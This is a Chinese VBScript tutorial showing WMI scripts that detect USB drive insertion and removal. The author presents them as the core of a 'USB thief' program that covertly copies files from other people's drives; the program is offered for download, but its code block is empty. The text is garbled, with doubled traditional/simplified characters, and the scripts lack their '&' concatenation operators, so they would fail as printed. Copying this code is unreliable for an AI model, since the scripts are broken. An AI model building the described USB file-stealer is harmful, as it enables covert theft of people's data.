可以說，對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網(wǎng)上普遍流傳VBS版U盤小偷程序，基本上都是靠無限循環(huán)實現(xiàn)的，一點技術(shù)含量也沒有，文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環(huán)，但是效率是不一樣的。
使用WMI的Win32_VolumeChangeEvent類就可以實現(xiàn)，下面是示例代碼，更詳細的信息請參考MSND文檔。
復(fù)制代碼 代碼如下:
Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
"{impersonationLevel=impersonate}!\\" _
strComputer "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入，盤符為" _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出，盤符為" _
objLatestEvent.DriveName
End Select
Loop
我也寫了一個U盤小偷程序，自以為比網(wǎng)上抄來抄去的代碼要好，感興趣的可以下載來看看。
復(fù)制代碼 代碼如下:

鑒于很多人反映之前寫的那篇在XP下無效，做了一下修改。說是修改，其實是直接復(fù)制粘貼腳本專家的代碼。
復(fù)制代碼 代碼如下:
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
"TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been removed."
End Select
End If
Loop

大家應(yīng)該可以看出學(xué)習(xí)vbs的好地方是哪了， 學(xué)習(xí)vbs官方的網(wǎng)站不得不去，腳本之家很多的vbs相關(guān)的教材都是來自微軟官方的腳本專欄。
